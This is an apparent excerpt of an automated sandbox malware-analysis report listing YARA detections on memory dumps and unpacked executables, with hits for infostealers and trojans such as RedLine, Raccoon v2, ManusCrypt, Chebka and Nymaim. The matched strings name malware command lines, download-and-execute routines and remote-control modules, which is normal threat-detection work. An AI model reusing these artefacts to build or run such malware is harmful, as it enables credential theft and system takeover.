00000015.00000002.672920926.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000003.374746010.0000000000B32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
00000027.00000002.782404327.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
00000027.00000000.476784863.000001DE9CCE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
00000028.00000002.780129136.000001455DF70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
00000012.00000002.838175058.0000000003002000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VSVo7xFGZNVBCHvpzHHk7X6w.exe PID: 6376	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
Click to see the 83 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x239a2:$pat14: , CommandLine: 0x1b5a3:$v2_1: ListOfProcesses 0x1847d:$v4_3: base64str 0x1845a:$v4_4: stringKey 0x18487:$v4_5: BytesToStringConverted 0x18472:$v4_6: FromBase64 0x1b356:$v4_8: procName 0x16fc3:$v5_1: DownloadAndExecuteUpdate 0x16feb:$v5_2: ITaskProcessor 0x16fb1:$v5_3: CommandLineUpdate 0x16fdc:$v5_4: DownloadUpdate 0x16f25:$v5_5: FileScanning 0x171d7:$v5_7: RecordHeaderField 0x17101:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x257a2:$pat14: , CommandLine: 0x1d3a3:$v2_1: ListOfProcesses 0x1a27d:$v4_3: base64str 0x1a25a:$v4_4: stringKey 0x1a287:$v4_5: BytesToStringConverted 0x1a272:$v4_6: FromBase64 0x1d156:$v4_8: procName 0x18dc3:$v5_1: DownloadAndExecuteUpdate 0x18deb:$v5_2: ITaskProcessor 0x18db1:$v5_3: CommandLineUpdate 0x18ddc:$v5_4: DownloadUpdate 0x18d25:$v5_5: FileScanning 0x18fd7:$v5_7: RecordHeaderField 0x18f01:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x239a2:$pat14: , CommandLine: 0x1b5a3:$v2_1: ListOfProcesses 0x1847d:$v4_3: base64str 0x1845a:$v4_4: stringKey 0x18487:$v4_5: BytesToStringConverted 0x18472:$v4_6: FromBase64 0x1b356:$v4_8: procName 0x16fc3:$v5_1: DownloadAndExecuteUpdate 0x16feb:$v5_2: ITaskProcessor 0x16fb1:$v5_3: CommandLineUpdate 0x16fdc:$v5_4: DownloadUpdate 0x16f25:$v5_5: FileScanning 0x171d7:$v5_7: RecordHeaderField 0x17101:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2488a:$pat14: , CommandLine: 0x1c48b:$v2_1: ListOfProcesses 0x19365:$v4_3: base64str 0x19342:$v4_4: stringKey 0x1936f:$v4_5: BytesToStringConverted 0x1935a:$v4_6: FromBase64 0x1c23e:$v4_8: procName 0x17eab:$v5_1: DownloadAndExecuteUpdate 0x17ed3:$v5_2: ITaskProcessor 0x17e99:$v5_3: CommandLineUpdate 0x17ec4:$v5_4: DownloadUpdate 0x17e0d:$v5_5: FileScanning 0x180bf:$v5_7: RecordHeaderField 0x17fe9:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
35.2.ccsearcher.exe.400000.0.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
35.2.ccsearcher.exe.400000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2488a:$pat14: , CommandLine: 0x1c48b:$v2_1: ListOfProcesses 0x19365:$v4_3: base64str 0x19342:$v4_4: stringKey 0x1936f:$v4_5: BytesToStringConverted 0x1935a:$v4_6: FromBase64 0x1c23e:$v4_8: procName 0x17eab:$v5_1: DownloadAndExecuteUpdate 0x17ed3:$v5_2: ITaskProcessor 0x17e99:$v5_3: CommandLineUpdate 0x17ec4:$v5_4: DownloadUpdate 0x17e0d:$v5_5: FileScanning 0x180bf:$v5_7: RecordHeaderField 0x17fe9:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2668a:$pat14: , CommandLine: 0x1e28b:$v2_1: ListOfProcesses 0x1b165:$v4_3: base64str 0x1b142:$v4_4: stringKey 0x1b16f:$v4_5: BytesToStringConverted 0x1b15a:$v4_6: FromBase64 0x1e03e:$v4_8: procName 0x19cab:$v5_1: DownloadAndExecuteUpdate 0x19cd3:$v5_2: ITaskProcessor 0x19c99:$v5_3: CommandLineUpdate 0x19cc4:$v5_4: DownloadUpdate 0x19c0d:$v5_5: FileScanning 0x19ebf:$v5_7: RecordHeaderField 0x19de9:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
35.2.ccsearcher.exe.3530000.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.3.fJe9em23BB.exe.51bd580.11.raw.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x257a2:$pat14: , CommandLine: 0x1d3a3:$v2_1: ListOfProcesses 0x1a27d:$v4_3: base64str 0x1a25a:$v4_4: stringKey 0x1a287:$v4_5: BytesToStringConverted 0x1a272:$v4_6: FromBase64 0x1d156:$v4_8: procName 0x18dc3:$v5_1: DownloadAndExecuteUpdate 0x18deb:$v5_2: ITaskProcessor 0x18db1:$v5_3: CommandLineUpdate 0x18ddc:$v5_4: DownloadUpdate 0x18d25:$v5_5: FileScanning 0x18fd7:$v5_7: RecordHeaderField 0x18f01:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
37.2.rundll32.exe.4e70000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x53366:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
37.2.rundll32.exe.4e70000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
37.2.rundll32.exe.4e70000.0.unpack	MALWARE_Win_Fabookie	Detects Fabookie / ElysiumStealer	ditekSHen	0x4c6e6:$s1: rwinssyslog 0x4caec:$s2: _kasssperskdy 0x4ca88:$s3: [Title:%s] 0x4cbfc:$s4: [Execute] 0x4cc10:$s5: [Snapshot] 0x4d484:$s6: Mozilla/4.0 (compatible) 0x4de3c:$s9: CUdpClient::Start
37.2.rundll32.exe.4e70000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x4dcf4:$s1: -k netsvcs 0x4d484:$s3: Mozilla/4.0 (compatible) 0x4caec:$s4: _kasssperskdy 0x4c6e8:$s5: winssyslog 0x4da4c:$s6: LoaderDll%d 0x4c4c8:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x4c110:$s8: cmd.exe /c start chrome.exe 0x4c270:$s8: cmd.exe /c start msedge.exe 0x4c440:$s8: cmd.exe /c start firefox.exe 0x54f08:$f1: .?AVCHVncManager@@ 0x55204:$f2: .?AVCNetstatManager@@ 0x5525c:$f3: .?AVCTcpAgentListener@@ 0x54ffc:$f4: .?AVIUdpClientListener@@ 0x5541c:$f5: .?AVCShellManager@@ 0x553e0:$f6: .?AVCScreenSpy@@
37.2.rundll32.exe.4e70000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x4caec:$a: _kasssperskdy 0x4d6ae:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x2668a:$pat14: , CommandLine: 0x1e28b:$v2_1: ListOfProcesses 0x1b165:$v4_3: base64str 0x1b142:$v4_4: stringKey 0x1b16f:$v4_5: BytesToStringConverted 0x1b15a:$v4_6: FromBase64 0x1e03e:$v4_8: procName 0x19cab:$v5_1: DownloadAndExecuteUpdate 0x19cd3:$v5_2: ITaskProcessor 0x19c99:$v5_3: CommandLineUpdate 0x19cc4:$v5_4: DownloadUpdate 0x19c0d:$v5_5: FileScanning 0x19ebf:$v5_7: RecordHeaderField 0x19de9:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x257a2:$pat14: , CommandLine: 0x1d3a3:$v2_1: ListOfProcesses 0x1a27d:$v4_3: base64str 0x1a25a:$v4_4: stringKey 0x1a287:$v4_5: BytesToStringConverted 0x1a272:$v4_6: FromBase64 0x1d156:$v4_8: procName 0x18dc3:$v5_1: DownloadAndExecuteUpdate 0x18deb:$v5_2: ITaskProcessor 0x18db1:$v5_3: CommandLineUpdate 0x18ddc:$v5_4: DownloadUpdate 0x18d25:$v5_5: FileScanning 0x18fd7:$v5_7: RecordHeaderField 0x18f01:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x239a2:$pat14: , CommandLine: 0x1b5a3:$v2_1: ListOfProcesses 0x1847d:$v4_3: base64str 0x1845a:$v4_4: stringKey 0x18487:$v4_5: BytesToStringConverted 0x18472:$v4_6: FromBase64 0x1b356:$v4_8: procName 0x16fc3:$v5_1: DownloadAndExecuteUpdate 0x16feb:$v5_2: ITaskProcessor 0x16fb1:$v5_3: CommandLineUpdate 0x16fdc:$v5_4: DownloadUpdate 0x16f25:$v5_5: FileScanning 0x171d7:$v5_7: RecordHeaderField 0x17101:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
40.2.svchost.exe.1455df70000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
40.2.svchost.exe.1455df70000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
40.2.svchost.exe.1455df70000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x58c08:$s1: -k netsvcs 0x583c8:$s3: Mozilla/4.0 (compatible) 0x576f0:$s4: _kasssperskdy 0x56d88:$s5: winssyslog 0x58950:$s6: LoaderDll%d 0x56c60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x56890:$s8: cmd.exe /c start chrome.exe 0x569f0:$s8: cmd.exe /c start msedge.exe 0x56bd0:$s8: cmd.exe /c start firefox.exe 0x66ef0:$f1: .?AVCHVncManager@@ 0x672d8:$f2: .?AVCNetstatManager@@ 0x67348:$f3: .?AVCTcpAgentListener@@ 0x671c8:$f4: .?AVIUdpClientListener@@ 0x67578:$f5: .?AVCShellManager@@ 0x67528:$f6: .?AVCScreenSpy@@
40.2.svchost.exe.1455df70000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x257a2:$pat14: , CommandLine: 0x1d3a3:$v2_1: ListOfProcesses 0x1a27d:$v4_3: base64str 0x1a25a:$v4_4: stringKey 0x1a287:$v4_5: BytesToStringConverted 0x1a272:$v4_6: FromBase64 0x1d156:$v4_8: procName 0x18dc3:$v5_1: DownloadAndExecuteUpdate 0x18deb:$v5_2: ITaskProcessor 0x18db1:$v5_3: CommandLineUpdate 0x18ddc:$v5_4: DownloadUpdate 0x18d25:$v5_5: FileScanning 0x18fd7:$v5_7: RecordHeaderField 0x18f01:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
39.0.svchost.exe.1de9cce0000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.0.svchost.exe.1de9cce0000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.0.svchost.exe.1de9cce0000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x58c08:$s1: -k netsvcs 0x583c8:$s3: Mozilla/4.0 (compatible) 0x576f0:$s4: _kasssperskdy 0x56d88:$s5: winssyslog 0x58950:$s6: LoaderDll%d 0x56c60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x56890:$s8: cmd.exe /c start chrome.exe 0x569f0:$s8: cmd.exe /c start msedge.exe 0x56bd0:$s8: cmd.exe /c start firefox.exe 0x66ef0:$f1: .?AVCHVncManager@@ 0x672d8:$f2: .?AVCNetstatManager@@ 0x67348:$f3: .?AVCTcpAgentListener@@ 0x671c8:$f4: .?AVIUdpClientListener@@ 0x67578:$f5: .?AVCShellManager@@ 0x67528:$f6: .?AVCScreenSpy@@
39.0.svchost.exe.1de9cce0000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
21.2.S4FBxlLjDvaMdcwHZaTlWrII.exe.400000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
16.0.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x239a2:$pat14: , CommandLine: 0x1b5a3:$v2_1: ListOfProcesses 0x1847d:$v4_3: base64str 0x1845a:$v4_4: stringKey 0x18487:$v4_5: BytesToStringConverted 0x18472:$v4_6: FromBase64 0x1b356:$v4_8: procName 0x16fc3:$v5_1: DownloadAndExecuteUpdate 0x16feb:$v5_2: ITaskProcessor 0x16fb1:$v5_3: CommandLineUpdate 0x16fdc:$v5_4: DownloadUpdate 0x16f25:$v5_5: FileScanning 0x171d7:$v5_7: RecordHeaderField 0x17101:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
35.2.ccsearcher.exe.3530000.1.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.3.fJe9em23BB.exe.51bd580.24.raw.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
0.3.fJe9em23BB.exe.5171640.12.raw.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0xa7d70:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0xa7898:$s2: Content-Type: application/x-www-form-urlencoded 0xa7900:$s2: Content-Type: application/x-www-form-urlencoded 0xa7968:$s2: Content-Type: application/x-www-form-urlencoded 0xa79d0:$s2: Content-Type: application/x-www-form-urlencoded 0xa7a38:$s2: Content-Type: application/x-www-form-urlencoded 0xa7aa0:$s2: Content-Type: application/x-www-form-urlencoded 0xa7b08:$s2: Content-Type: application/x-www-form-urlencoded 0xa7b98:$s2: Content-Type: application/x-www-form-urlencoded 0xa7b6c:$s3: https://ipinfo.io/ 0xa7bfc:$s4: https://db-ip.com/ 0xa7c58:$s5: https://www.maxmind.com/en/locate-my-ip-address 0xa7c24:$s6: https://ipgeolocation.io/ 0xa7d64:$s7: POST
16.2.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack	MALWARE_Win_DLInjector06	Detects downloader / injector	ditekSHen	0x5be30:$s1: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 0x5b958:$s2: Content-Type: application/x-www-form-urlencoded 0x5b9c0:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba28:$s2: Content-Type: application/x-www-form-urlencoded 0x5ba90:$s2: Content-Type: application/x-www-form-urlencoded 0x5baf8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bb60:$s2: Content-Type: application/x-www-form-urlencoded 0x5bbc8:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc58:$s2: Content-Type: application/x-www-form-urlencoded 0x5bc2c:$s3: https://ipinfo.io/ 0x5bcbc:$s4: https://db-ip.com/ 0x5bd18:$s5: https://www.maxmind.com/en/locate-my-ip-address 0x5bce4:$s6: https://ipgeolocation.io/ 0x5be24:$s7: POST
39.2.svchost.exe.1de9cce0000.0.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6506e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.2.svchost.exe.1de9cce0000.0.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.2.svchost.exe.1de9cce0000.0.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x58c08:$s1: -k netsvcs 0x583c8:$s3: Mozilla/4.0 (compatible) 0x576f0:$s4: _kasssperskdy 0x56d88:$s5: winssyslog 0x58950:$s6: LoaderDll%d 0x56c60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x56890:$s8: cmd.exe /c start chrome.exe 0x569f0:$s8: cmd.exe /c start msedge.exe 0x56bd0:$s8: cmd.exe /c start firefox.exe 0x66ef0:$f1: .?AVCHVncManager@@ 0x672d8:$f2: .?AVCNetstatManager@@ 0x67348:$f3: .?AVCTcpAgentListener@@ 0x671c8:$f4: .?AVIUdpClientListener@@ 0x67578:$f5: .?AVCShellManager@@ 0x67528:$f6: .?AVCScreenSpy@@
39.2.svchost.exe.1de9cce0000.0.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x576f0:$a: _kasssperskdy 0x5861e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
40.2.svchost.exe.1455df70000.0.raw.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
40.2.svchost.exe.1455df70000.0.raw.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
